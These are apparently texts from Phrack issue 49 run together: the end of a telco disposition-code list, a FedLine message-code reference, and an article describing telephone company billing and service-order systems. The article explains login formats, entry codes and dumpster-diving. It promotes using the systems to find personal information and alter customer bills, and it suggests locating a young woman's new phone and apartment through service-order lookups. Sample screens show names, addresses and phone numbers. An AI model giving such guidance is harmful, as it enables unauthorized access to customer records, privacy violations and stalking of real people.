0530 Intercept or Disconnect Document Error

0531 MDF Cross‑Connection Missing

0532 MDF Cross‑Connection Broken

0533 MDF Cross‑Connection Work Error

0534 MDF Cross‑Connection Document Error

0535 Other Cross‑Connection Work Error

0536 Other Cross‑Connection Document Error

0537 Billing Cross‑Connection Work Error

0538 Billing Cross‑Connection Document Error

0539 Intercept or Disconnect Work Error

0540 Other Frame

0541 Defective or operated protector

0542 Missing Protection Device

0543 Reversing Device

0544 Terminal ‑ Wire Clipping

0545 Terminal Connection

0546 Test Cord

0550 Other Power

0551 DC Power Equipment

0552 AC Power Equipment

0553 Ringer Plant

0554 Standby Emergency Power

0560 Miscellaneous Equipment ‑ Other

0561 Radio System

0562 Line Testing Equipment

0563 Concentrator

0564 Range Extender ‑ Applies when a report is the result of a defective range extender

0565 Carrier System

0566 Automatic Message Accounting Recording Center

0580 Pair Gain System/RSS Other

0583 Common Circuit Pack

0584 Channel Unit Exchange

0585 Channel Unit Special

0586 Carrier Unit Replaced (AML/SLC‑1)

0587 Power

0588 Wiring

Disposition 06XX ‑ Customer Action

0600 Customer Action: Applies when a trouble report results from customer error or misuse of features in connection with custom calling service

Disposition 07XX ‑ Test OK

0701 MC Retest Ok

0708 SCC Test Ok

0711 Test OK (Maintenance Center Use Only)

0715 Customer Cancel Original (CSB Use Only)

0717 Lead Test Ok

0720 Link Retest Ok

0730 Test OK TAN (Technician Use)

0747 Test OK (Front End Closeout)

0750 CSB Retest OK

Disposition Code 08XX ‑ Found OK ‑ In

0800 Found OK ‑ In

Disposition Code 09XX ‑ Found Ok ‑ Out

0901 Found OK ‑ Out, Non‑Cable: Applies when trouble condition is determined to be FOK between the serving terminal and the customer's side of the protector/network interface

0910 Found Ok ‑ Out, Cable: Applies when trouble condition is determined to be FOK between the serving terminal and the field side of the central office

Disposition Code 10XX ‑ Referred Out

1001 Referred Out: Applies when trouble reports are referred to other Maintenance Centers, agencies or departments not normally involved in the trouble clearing effort

Disposition Code 12XX ‑ Customer Provided Equipment

120X Voice Messaging Service

1201 Voice Messaging Service 0 All

121X Maintenance Contract (Inline/Inline Plus)

1210 Cord: Customer has maintenance contract and a defective mounting cord was replaced

1211 Loaner Set Provided: Applies to those customers with an inline+ agreement, in which a loaner set is provided, or when the customer chooses to buy the replacement set

1212 Inline Only ‑ Set Trouble: Applies to customer with a maintenance agreement for IW only and the trouble is located in the set/equipment. This code includes, but is not limited to receiver off hook, unplugged sets, defective sets

1213 Non‑Standard IW (Customer Repair): Applies when the customer has an agreement for standard IW maintenance; however, the trouble is located in non‑standard IW and the customer will repair. NO CHARGE 1214 Inside Wire: Applies to customers with an IW maintenance agreement and the technician repairs the IW. NO CHARGE

1215 Non‑Standard IW (Telco Replaced): Applies when the customer has a maintenance contract for standard IW maintenance; however, the trouble is located in non‑standard IW and the technician will repair. PREMISES WORK CHARGE IS APPLICABLE

1217 No Access ‑ Field Use: Applies on second no access, no trouble is found at the customer premise

1218 Inline/Inline Plus ‑ Telco Fix Exceptions: Wire repair due to acts of God, such as floods, earthquake, riot, gross negligence, willful damage/vandalism. Also wire that does not meet SWBT installation practice technical standards, or is not in satisfactory condition

1219 Inline/Inline Plus ‑ Customer Fix ‑ Exceptions (See 1218 for exceptions) 122X CPE ‑ Other (No Maintenance Contract)

1220 Radio Suppresser (Inline Customer): Applies when a radio suppresser is placed to resolve the trouble

1221 Calling Party Hold: Applies when the trouble condition is a result of calling party hold. NO CHARGE

1222 Set/Equipment: Applies when then trouble condition is determined by the technician to be caused by the customer telephone set/equipment. No maintenance agreement. A MAINTENANCE OF SERVICE CHARGE WILL APPLY 1223 CPE (IW/CPE) No Dispatch: Applies when trouble is tested, but is determined to be in CPE via conversation with the customer and/or related tests. No repair dispatch is made. NO CHARGE 1225 Receiver Off Hook: Applies when trouble is tested when cannot be located in Telco facilities and the trouble report or service condition can be attributed to a receiver off hook. MSC WILL APPLT

1226 Set Unplugged: Applies when trouble is tested which cannot be located in Telco facilities and the trouble report or service difficulty can be attributed to unplugged CPE. MSG WILL APPLY

1227 Public Extension (SEMI): Applies when trouble is tested which cannot be located in TELCO facilities and the trouble report or service condition can be attributed to semi‑public extension. Semi‑public extension is defined as a CPE instrument used as an extension on Telco provided coin service. MSC WILL APPLY

1228 Private Coin Service: Applies when trouble is tested which cannot be located in Telco facilities and the trouble report or service condition can be attributed to private coin service. Private coin service is defined as a coin instrument and associated wire provided by a non‑Telco 1229 Cable Facilities (Not Telco Maintained): Applies when trouble is tested which cannot be located in Telco facilities and the trouble report or service condition can be attributed to CPE cable facility. MSC WILL APPLY 123X Intexchange Carrier

1231 Intexchange Carrier: Applies when trouble is tested which cannot be located in Telco facilities or equipment and the services are provided by an IC

124X Unauthorized CPE/Usage/Tariff Violation

1241 Dispatched trouble reports involving CPE that were installed under Contract I/M services, and are within the warranty time period, should be closed to disposition code 12410 Contract I/M services, CPE. The disposition code 122X should not be used under these circumstances. NO REPAIR CHARGE (MSR or RSC) or TIME SENSITIVE CHARGES APPLY 1242 Dispatched trouble reports involving inside wire within the warranty time period of the Contract I/M Services contract between SWT/SWBT should be closed to the appropriate disposition code 121X. Inside wire troubles reported by Non‑Inline and Non‑Contract I/M Services customers should continue to be closed to the appropriate disposition code 126X and normal charges should apply.

Disposition 12XX ‑ Customer Provided Equipment

126X Time Sensitive Work/Isolation/No Maintenance Contract

1261 Inside Wire ‑ Telco Repair: Applies when trouble is tested which cannot be located in Telco facilities and a trouble report or service condition is attributed to the IW. The technician repairs the IW for an ADDITIONAL CHARGE to the customer. (Time Sensitive ‑ Repair Rates).

1262 Inside Wire ‑ SNI Not Available Cust Fix (Non‑Inline): Applies when trouble is tested which cannot be located in Telco Facilities and the trouble report is isolated to the customer's side of the protector. The technician installs a Network Interface but does not repair the trouble 1263 Inside Wire ‑ SNI Available ‑ Cust Fix (Non‑Inline): Applies when trouble is tested which cannot be located in Telco facilities and a trouble report or service condition is in attributed to the CPE. A Network Interface is in place and the customer does the repair

1264 No Authorization/Customer Repair: Applies when trouble is tested which cannot be located in Telco facilities and a trouble repor or service condition can be attributed to CPIW. Premise access is obtained and customer/customer's agent is unable to authorize repair charge. 1265 Military Facility: Applies when trouble is isolated to I/W maintained by military maintenance personnel.

1266 NA for Non‑Inline (Field Use)

1267 CPE ‑ No Access Subscriber Follow‑up (MC USE ONLY): Applies when trouble cannot be located in Telco facilities and a trouble report or service condition is attributed to the CPE. The technician does not have access to the customer's premise, but a network interface is present. 1268 Warranty: Applies when trouble is tested which cannot be located in Telco facilities but repair work is performed by the technician within 30 days of previous IW repair performed by Telco. (Proof of warranty is the customer's responsibility). A SERVICE CHARGE IS NOT APPLICABLE 127X Administrative Reports ‑ Do Not Bill

1275 Predictor/Scan/CPR: Applies when a trouble condition is detected by SCAN/ PREDICTOR or Calling Party Report, a dispatch is made and no work is performed. The trouble condition is attributed to the CPE. (A SERVICE CHARGE IS NOT APPLICABLE)

128X CSB Use Only

1281 Front End Close Out (Customer Service Bureau Only): Apples when a trouble report is determined to be caused by the CSB. The CSB will close out this report with this disposition code.

Disposition Code 129X MOOSA (Maintenance Center Use Only)

1291 MOOSA Error Corrections

Disposition Code 13XX

1301 Other Departments ‑ Telco

1302 Non Telco

1303 Wrong Number Reported

1325 Service Order Worked ‑ Link

1326 Service Order Cancel/Delay

1327 Service Order Changes

Disposition Code 20XX ‑ Air Pressure

2010 Transducer

2011 Contactor

2012 Pressure Plug

2013 Air Flow Sensor

2014 Pipe

2015 Manifold or Tubing

2016 Dryers

2017 Air Bottles

2018 Fittings

Disposition Code 30XX ‑ Cable Location

3010 Patrols and Inspections

3011 Facility Located

3012 No Facilities In Area

Introduction to the FedLine software system

.oO Phrack 49 Oo.

Volume Seven, Issue Forty‑Nine

12 of 16

========================================

FEDLINE (Message and Code Definitions)

Your PC Window to the Federal Reserve Bank

by ParMaster

========================================

The FEDLINE software package is a common Bank client for the Federal Reserve. Used by Banks, Credit Unions, and other Financial Institutions, the amount of funds transferred on a daily basis matches or exceeds the daily volume of all other EFT networks. FEDLINE uses hardware encryption through a special PC card which operates using the US National Bureau of Standards, Data Encryption Standard. This file is not my attempt to demystify its operation, but to provide a categorical list of the codes. I accept no responsibility for anyone's use or misuse of the information contained in this file.

========================================

Type and Subtype Code Definitions

========================================

Funds Transfer Messages.

Accounting status of a message indicates how the message is

to be processed into the FUNDS balances of the FEDLINE Reserve Account Monitor from the standpoint of the original DI.

Status Codes:

D = Debit Transaction

C = Credit Transaction

N = Non‑accountable Transaction

(Valid for ALL Messages.)

========================================

Regular Funds Transfer Messages

Type/Sub Acct. Status Description

~~~~~~~~ ~~~~~~~~~~~~

1000 D Transfer of Funds

1001 N Request for Reversal

of current day Funds

Transfer

1002 D Transfer of Funds

Reversal

1003 D Transfer of Funds Return

Sent by FRB only)

1007 N Request for Reversal of

Prior Day Funds Transfer

1008 D Prior Day Transfer of

Funds Reversal

1020 D Transfer of Funds

Requiring As‑Of

Adjustment

1031 N Request for Customer

Drawdown

1032 D Transfer Honoring Request

for Customer Drawdown

1033 N Refusal of Request for

Customer Drawdown

1040 D Structured Transfer

of Funds.

1090 N Service Message regarding

Funds Transfer

========================================

Foreign Funds Transfers

Type/Sub Acct. Status Description

~~~~~~~~ ~~~~~~~~~~~~

1500 D Transfer of Funds

1501 N Request for Reversal of

Current Day Foreign

Account Transfer

1502 D Transfer of Funds

Reversal

1503 D Transfer of Funds

Return

Sent by FRB only)

1507 N Request for Reversal of

Prior Day Foreign Account

Transfer

1508 D Prior Day Transfer of

Funds Reversal

1531 N Foreign Account Request

for Funds

1532 D Transfer Honoring

Request for Funds

1533 N Foreign Account Refusal

of Request for Funds

1540 D Structured Funds Transfer

1590 N Service Message regarding

Foreign Account Transfer

========================================

Settlement Funds Transfer Messages

Type/Sub Acct. Status Description

~~~~~~~~ ~~~~~~~~~~~~

1600 D Transfer of Funds

1601 N Request for Reversal of

Current Day Settlement

Transfer

1602 D Transfer of Funds

Reversal

1603 D Transfer of Funds

Return

Sent by FRB only)

1607 N Request for Reversal of

Prior Day Settlement

Transfer

1608 D Prior Day Transfer of

Funds Reversal

1620 D Funds Transfer Requiring

As‑Of Adjustment

1631 N Request for Bank‑to‑Bank

Drawdown

1632 D Transfer Honoring Request

for Bank‑to‑Bank Drawdown

1633 N Refusal of Request for

Bank‑to‑Bank Drawdown

1640 D Structured Transfer of

Funds

1690 N Service Message regarding

Settlement Transfer

3004 N Check Return Item

Notification

3006 N Check Return Item

Cancellation

3009 N Check Return Item

Duplicate Notification

3090 N Check Return Item

Service Message

========================================

Securities Transfer Messages.

Accounting status of message indicates how the message is to be processed into the SECURITIES balances of the FEDLINE Reserve Account Monitor from the standpoint of the original DI. For Securities messages, this should indicate the direction of the Cash side of the transaction.

Type/Sub Acct. Status Description

~~~~~~~~ ~~~~~~~~~~~~

2000 C Security Transfer Message

2001 N Request for Reversal of

Security Transfer

2002 C Reversal of Security

Transfer

2008 N Request for Shipment of

Definitive Agency

Securities

2090 N Service Message regarding

Securities Transfer

2500 C Original Issue (OI)

Transfer

Sent by FRB or

Agency only)

2501 N Request for Reversal of

OI Transfer

2502 C Reversal of OI Transfer

2590 N Service Message regarding

OI Transfer

2700 C Government Agency

Securities Charge

Sent by FRB or

Agency only)

2705 C Adjustment to Government

Agency Securities

Sent by FRB or

Agency only)

2790 N Service Message regarding

Government Agency

Securities Charge

2800 D Government Agency

Securities Credit

Sent by FRB or

Agency only)

2805 D Adjustment to Government

Agency Securities

Sent by FRB or

Agency only)

2890 N Service Message regarding

Government Agency

Securities Credit

8200 N Conversion of Security

from BE to Bearer

8202 N Reversal of BE to Bearer

Conversion

Sent by FRB or

Agency only)

8800 N Conversion of Security

from BE to Registered

8802 N Reversal of BE to

Registered Conversion

Sent by FRB or

Agency only)

8900 D Maturity Payment

Sent by FRB or

Agency only)

8906 D Interest Payment

Sent by FRB or

Agency only)

8990 N Service Message regarding

Maturity and Interest

Payments

========================================

Message Status Codes

A list of status codes that may appear on the bottom of your screen while processing messages:

ENTRY CODES ‑ assigned when a message is entered or intentionally withheld from transmission for a variety of reasons, such as insufficient Local Reserve Account Monitor funds. Includes messages which are not verified, or warehoused for future transmission.

ET Entered Transaction EH Entered to be held EW Entered to be Warehoused MC Marked for Correction MS Marked for safe‑stored

HELD CODES ‑ assigned when a message is intentionally detained from further processing until a FEDLINE operator releases it.

HT Held Transaction (by operator) HS Held by supervisory order HM Held by account monitor HO Held because terminal is off‑line

LOCAL COMPLETION CODES ‑ assigned when a message has been warehoused and verified or canceled.

VW Transaction Warehoused CN Transaction Canceled DN Done

TRANSMISSION CODES ‑ assigned when a message is ready for transmission or after transmission has been completed. The transmission status of a message is updated by Short Acknowledgments and responses from the host computer.

TQ Queued for Transmission TC Transmission Completed TH Transmission rejected by host TU Transmission Unconfirmed TA Transmitted and Accepted TR Transmitted and rejected TI Transmitted but intercepted

========================================

Batch Status Codes

The following list of status codes describes the processing condition of an ACH batch. A status code appears in the upper right corner of the ACH batch header and batch balancing screens, as well as the Return Item and Notification of Change screens. Status codes can be used to retrieve batches from the Batch Selection Criteria Screens for further processing.

Entry Codes ‑ assigned when a batch is created. Includes all batches which are balanced and ready for collection.

ET Entered VR Verified / Balanced

Local Completion Codes ‑ assigned when a batch has been canceled

CN Canceled

Transmission Codes ‑ assigned when a batch is selected and queued for transmission. Includes batches that were not transmitted due to an error.

CL Collected IP Interrupted Processing

========================================

File Status Codes

The following list of status codes describes the processing condition of ACH files.

Entry Codes ‑ assigned when a file is created or received.

ET File Created RC File Received

Local Completion Codes ‑ assigned after an incoming file has been processed from the FRB.

RP File Received and Processed

Transmission Codes ‑ assigned when a file is queued for transmission or after transmission has been completed. Includes files which were not transmitted due to some processing error.

TQ File created and queued in PC TC Transmitted complete to host queue IP Interrupted Processing

Telephone Company Customer Applications

.oO Phrack 49 Oo.

Volume Seven, Issue Forty‑Nine

13 of 16

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Telephone Company Customer Applications |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Voyager[TNO] |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Telco's use many types of software. In addition to the run‑of‑the‑mill employee applications such as OfficeVisions, PROFS, and the usual trashy selection of DOS/Win applications, telco's use two types of much more interesting software:

. Customer applications

. Provisioning applications

Customer applications are used by telco personnel to deal with customer issues, such as billing and service orders. Provisioning applications are used to deal with the actual phone network itself.

Customer applications include BOSS, CARS, CORD, SOLAR, SOPAD, OSCAR, and PREMIS. Provisioning applications include FACS, March, April, COSMOS, Switch and FOMS/FUSA.

Most of what has been written regarding telco software covered provisioning applications. While much can be done with provisioning applications, you will soon see the incredible opportunities offered by Customer Applications. Within the family of Customer Applications you will find the ability to locate personal information, look up addresses by telephone number, and modify customer bills.

Experienced dumpster divers will recognize many of the screens shown in this article.

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Part I: Billing Applications |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

BOSS

~~~~

BOSS (Billing and Order Support System) contains bill and credit information, equipment information, carrier billing information, customer contact notes and payment history. BOSS is used in the Central and Eastern Territories of U.S. West. To login to BOSS, you must enter your a ID, a two character alphanumeric office code, and a five character password. BOSS passwords expire after 30 days and cannot be re‑used.

BOSS is operated largely with PF keys:

PF1 = ENTRY(Entry Screen)

PF2 = BILL(Entity and Summary Bill)

PF3 = IC(Itemized Calls)

PF4 = OCC(Other Charges and Credits)

PF5 = CSR(Customer Service Record)

PF6 = PREV(Previous Months Bill)

PF7 = NEXT(Next)

PF8 = Note(Notations)

PF9 = ASUM(Adjustments Summary)

PF10 = COMPUTE(Compute)

PF11 = F/B(Forward/Back)

PF2 will bring up the Billing Screen, which will show you the contact names and telephone numbers for the account you are looking at. The CSBL screen is completely covered with information, and it is impossible to get everything out of it without careful study. There are at least two versions of BOSS in use, this screen is a mix of the two that I am familiar with:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|CMD MSG COMMAND COMPLETED (I210) |

|(a)303 265 8545 (b)153 (c)NP (d)JAN 16 93 *CSBL (e)LIVE (f)DNV (g)1FR | |(h)DARIN STOREY (i)PB 0205 (m)RT (q)AC D‑00 (t)DEP 0 CN (x)BD N | |515‑D GIRARD BLVD S E (j)R1 0126 (n)ES (r)CT (u)DOI 030492 (y)LCU | |BOULDER CO 80301 (k)R2 0216 (o)NT C A (s)NOB (v)TAX FSLCF‑ (z)LCR | | (l)R3 0224 (p)PPD (w)TAR AJ (A)LAL | | (B)CI SEARS SUPVSR 2426767 MS SANDI SM POE NLR | |DAD MICHAEL STOREY 2755595 (C)CBR | | (D)SSN (E)VL (F)TRT HIST 059511111111 (G)CIV 0290 |

| (H)RCK HIST 000000000000 (I)PAH |

| PREV BL 168.55 CUR BL 116.24 |

| PAY & ADJ PREV BILL PAY AND ADJ CURR BILL |

| DATE T AMOUNT DATE T AMOUNT |

| 1223 01 101.15 |

| (J)010 30.42

| 221 9.03

| 300 9.39

| (K)CCG 48.84

| (L)BAL 67.40

| (M)TOT 116.24 (N)CUR DUE 116.24 | | (O)RP (P)NOTATION (Q)TYPE (R)PN (S)ACT (T)FU (U)BD |

| 0193 (V)+ |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Legend:

(a) Telephone number

(b) Customer code

(c) Listing Type(See below)

(d) Most current bill date

(e) Account Status Code(See below)

(f) Alpha code for the serving exchange

(g) Class of service(See below)

(h) Billing name

(i) Pay‑By‑Date, month and day payment is due

(j) Previous months denial date

(k) Date first collection notice is sent out

(l) Date account will be denied and referred to CMC

(m) Remove from treatment amount

(n) Entity Status(See below)

(o) No Treatment Indicator(See below)

(p) Preferred Payment Date

(q) Account Classification (credit classification)

(r) Carryover Treat History (unimplemented)

(s) Number of bills the customer receives

(t) Total deposit held on the account

(u) Date of Installation

(v) Tax Code

(w) Tax Area Code

(x) Bank Draft

(y) Local Units Used (unimplemented)

(z) Local Usage Units Credited (unimplemented)

(A) Local Usage Units Allowed (unimplemented)

(B) Credit Information

(C) Can Be Reached

(D) Social Security Number

(E) Central Office is Voice Link capable

(F) Treatment History (read right to left)

(G) Credit Information Verified (date CI was last verified)

(H) Returned Check History (read right to left)

(I) Previous Account History

(J) Charges by Entity (charges from AT&T, MCI, etc...)

(K) Current Charges

(L) Balance from the previous bill

(M) Total

(N) Current Due

(O) Responsible Party

(P) Notation

(Q) Type code

(R) Position Number (BOSS user position number)

(S) The action to be taken

(T) Follow‑up date

(U) Bill Date

(V) Notation Indicator (+ means there are display pages of notations)

(P means there are permanent notations)

Listing types include:

NPNon‑Published

NL or NLIST Non‑Listed

<null>Published

Account Status Codes are shown in order of priority. SNP, SUSP, DISC, OCAx, LEGX and W‑OFF codes are highlighted on the screen. Account Service Codes include:

OCAxAccount has been referred to an outside collection agency LEGXAccount has been referred to legal

W‑OFF Written OFF FINAL BILL

FIN‑RRevised final bill

FIN‑IInitial Final Bill

DISCService has been disconnected

SNPService has been interrupted for non‑payment

SUSPService has been temporarily suspended at customer request INITInitial bill

LIVELive bill

SCDSelect Carrier Denial

Class of Service Codes include:

1FROne Flat Rate

1MROne Measured Rate

1PCOne Pay Phone

CDFDTF Coin

PBXPrivate Branch Exchange (Direct Inward Dialing ext.)

CFDCoinless ANI7 Charge‑a‑Call

INWInWATS

OWTOutWATS

PBM0 HO/MO MSG REG (No ANI)

PMBLTG = 1 HO/MO Regular ANI6

Entity Status is used to restrict access to toll services. The three digit carrier code is listed, followed by the letters S, C or F.

If the NT (No Treatment Indicator) is C, the computer sends out a late notice on the R2 date. If the NT is T, there is a temporary reprieve and the computer will not sent out a late notice this month. If the NT is M or P, late notices are never sent.

PF11 from this screen will take you through the entity CSBL's.

PF5 will show you the customers Current Service Record. The CSR screen will look something like this:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|CMD MSG |

|(a)303 864 2475 (b)298 NP (c)NOV 10 99 *CSR (d)P 1 2 DNV 1FR |

|(e)BARBARA ANDERSON FOR

|XSBN 2‑864‑2475

| (f)‑‑‑LIST

| NP (NP) ANDERSON, DARRYL B |

| LA 5425 ROWLAND CT |

| (g)‑‑‑BILL

| BN1 BARBARAANDERSON FOR |

| BN2 DARRYL B ANDERSON |

| BA1 5425 ROWLAND CT |

| PO 80301 /TAR GQ

| (h)‑‑‑S&E

| (i)ORIG SERV ESTAB 8‑17‑78 |

|(j) (k) (l) (m) (n) | |20182 1825 NPU /1000 1.31 1.31 | |41481 7001 TTR /1000 1.12 1.12 | |82585 3793 1FR /1000/PICX288 5.60 5.60 | |41481 2140 KH9 /1000 .00 .00 | |22782 5106 WMR /1000/D .56 .56 | |41481 7001 RJ11C /1000/D .00 .00 |

|

|RP NOTATION TYPE PN ACT FU BD |

| 1299 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Legend:

(a) Telephone number

(b) Customer code

(c) Most current bill date

(d) Page number

(e) Billing name

(f) LIST section containing listed name and address

(g) BILL section containing billing name and address

(h) S&E section containing products and service

(i) Date original service was established

(j) Date each service was installed

(k) Last 4 digits of order number that put service online

(l) USOC's representing the products and services on the account (See below)

(m) Monthly rate for each USOC

(n) Amount billed for USOC total

USOC Codes include:

ESCThree Way Calling

ESFSpeed Calling

ESL Speed Calling 8 Code

ESMCall Forwarding

ESXCall Waiting

EVBBusy Call Forward

EVCBusy Call Forward Extended

EVDDelayed Call Forwarding

HM1Intercom Plus

HMPIntercom Plus

MVCCWCommstar II Call Waiting

PF8 allows you to view the notes the telco is keeping on the customer. This is not a free‑form notes screen, but is instead very structured. Notes are automatically deleted after two months unless the type code PERM is used.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|CMD MSG |

|303 864 2475 2298 NP 3NOV 10 99 *CSR P 1 2 DNV 1FR |

|

|BARBARA ANDERSON FOR

|

|DATE RP NOTATION USR TYPE PN ACT FU |

|1209 1988 ESTAB FREE 976 BLOCK 12‑9‑88 LTR PERM | |0324 BARB SLD CCS DD 3‑1 SKJ PSOC |

|0213 NONE NBV CHK |

|0213 BARB LOST BL ND DUPT SNT ASAP. AGRD ML COPY NBV MISC |

| TDA. VRFY BL ADDR

|

|RP NOTATION TYPE PN ACT FU BD |

| 1299 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Valid type codes include:

MISCMiscellaneous

CHKAccount review or pulled up wrong account

PERM Permanent

PASS Contact Passed Intra Company

MOREMore data follows on an additional screen

OTHMCarrier toll and inquiry

OHTDCarrier toll and inquiry

OTHB Non‑specific billing question

PSONNew connect, order negotiation

CPN New connect, order canceled

QPONNew connect, order inquiry

CARS

~~~~

CARS (Customer Access and Retrieval System) is used in the Western Territories of U.S. West. CARS stores bill and credit information, equipment information, carrier billing information, customer contact notes and payment history. CARS user id's are six characters and normally begin with a 'B' for business. CARS passwords (lockwords, in U.S. West parlance) are from 4 to either characters and must contain at least one alpha and one numeric character. CARS passwords expire after 30 days. You will also be asked for a Project Code (use 'M'), a Group Code (use 'G') and a Position #. The Position # consists of a pair of two character fields. The first two characters are the office code and the second two characters identify the individual employee. The CARS interface is quite similar to the BOSS interface. The function keys for CARS are:

PF1 = LDD (Long Distance Detail)

PF2 = CSBL (Current Status Bill)

PF3 = BILL (Bill Detail)

PF4 = QTFU (Query/Treatment Follow‑Up)

PF5 = CCSR(Current Customer Service Record)

PF6 = PREV(Previous Month's Information)

PF7 = PADJ(Payment and Adjustments)

PF8 = NOTE(Notations)

PF9 = ABIL(Adjustment Bill)

PF10 = COMPUTE(Compute)

PF11 = F/B(Forward/Back)

PF12 = BESS(Billed Entry Status Screen)

PF2 will bring up the CSBL (Current Service Bill) screen, which shows you the "can be reached" numbers and names for the account you are looking at.

PF5 will bring up the Current Service Record (CSR). A CARS CSR screen resembles a BOSS CSR screen:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|CMD________________________________________Q: |

|(a)303 864 2475 (b)2298 72W (c)NOV 10 99 *CCSR* LIVE (d)P00001 COS | |(e)BARBARA ANDERSON FOR SEA 1FB TAX FSL |

| (f)‑‑‑LIST

| NP (NP) ANDERSON, DARRYL B |

| LA 5425 ROWLAND CT |

| (g)‑‑‑BILL

| TAR 1700

| MCN NXWAC

| COS 852‑9200S

| BN1 BARBARAANDERSON FOR |

| BN2 DARRYL B ANDERSON |

| BA1 5425 ROWLAND CT |

| (h)‑‑‑S&E

| ENT 000

|(i) (j) (qty) (k) (l) (tax codes) | |02/18/92 05/18/90 1 FB/TN 621‑2475/PIC XXX/LPS 42.10 &# | |02/16/90 05/18/90 1 HSO/TN 621‑2475/SLS 2.00 &# |

| 377000

|02/16/90 02/16/90 1 TTB/TN 621‑2475/SLS 0.00 & |

| 377000

|02/16/90 02/16/90 1 9ZR/TN 621‑2475/SLS 4.22 |

| 377000

|RP‑___________NOTE________________________________________

|____________________________TYPE_____FLUP_____PN_____ACT_____BD_____USR_____ |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Legend:

(a) Telephone number

(b) Customer code

(c) Most current bill date

(d) Page number

(e) Billing name

(f) LIST section containing listed name and address

(g) BILL section containing billing name and address

(h) S&E section containing products and service

(i) Date original service was established

(j) Date each service was installed

(k) USOC's representing the products and services on the account (l) Monthly rate for each USOC

Just as with BOSS, PF8 brings up the NOTE screen. The CARS NOTE screen differs slightly from the BOSS NOTE screen:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|CMD________________________________________O: |

|303 864 2475 298 NP NOV 10 99 *NOTES* L00001 | |BARBARA ANDERSON FOR SEA 1FB LC 00 TAX FSLC |

|

|DATE RP NOTATION USR OFC TYPE PN ACT FU | |1209 1991 DISCUSS BILL ONLY WITH BARBARA LTR TS1 PERM |

|0324 BARB C015364 DD 030199

| SLD CCS SKJ D18 PSOC |

|0213 NONE NBV TS1 CHK |

|0213 BARB LOST BL ND DUPT SNT ASAP. AGRD |

| ML COPY TDA. VRFY BL ADDR NBV TS1 MISC |

|

|RP NOTATION TYPE PN ACT FU BD |

| 1299 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Valid type codes include: MISC, CHK, PERM and PASS.

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Part II: Service Order Applications |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

CORD

~~~~

CORD (Customer Order Retrieval and Display) is used in the 206, 503 and 509 NPA's. CORD has three functions:

. Accessing service orders by order number

. Locating order numbers by telephone number

. Locating order numbers by telephone prefix

Let's say you know that an attractive young lady is moving into your apartment complex but you don't know her apartment number or her telephone number. Connect to CORD and pull up all of the service orders for the apartment complex's prefix and scan them until you find one in the apartment complex on or near the date she moved in. It's much easier if you have at least a first name.

To use CORD, you will need to know the code for your NPA. 206 is 0, 503 is 5 and 509 is 6.

SOLAR

~~~~~

SOLAR (Service Order Logistics and Reference) is used in Southern 308, 319, 402, 515, 605 and 712. In addition, SOLAR is used in Northern 218, 507, 612 and 701. I do not know of an NPA where SOLAR is used exclusively. SOLAR has two capabilities:

. Accessing service orders by order number

. Accessing service orders by telephone number

SOPAD

~~~~~

SOPAD (Service Order Provisioning and Distribution) is used in 208, 303 (TNOland), 307, 406, 505, 602, 719 and 801. SOPAD has two capabilities:

. Accessing service orders by order number

. Accessing service orders by telephone numbers

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Part III: Miscellaneous Applications |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PREMIS

~~~~~~

PREMIS (Premises Information System) is a geographical database designed by BellCore and used by various telco's across the country. Using Premis, an employee can do customer lookups by telephone number (CNA), check for multiple subscribers at an address (upstairs/downstairs), and view account status. PREMIS can be used directly, but it is also used by applications such as SONAR (Service Order Negotiation and Retrieval).

To do successful PREMIS lookups, you will need to be able to encode your requests in the proper format. This is very difficult unless to do this on a regular basis. To make matters more difficult, "proper format" differs from area to area, even within the same RBOC! Particularly difficult are trailer parks, nursing homes, military bases and indian reservations.

The PREMIS input screen looks like this:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|REQ PREM (a)

|SAGA (b)

|ADDR (c)

|LOC APT (d) FLR BLDG |

|AHN (e) RT BOX (h)

|COM (f) TN (i) LN (j) STATUS (k) |

|

|DAC (g)

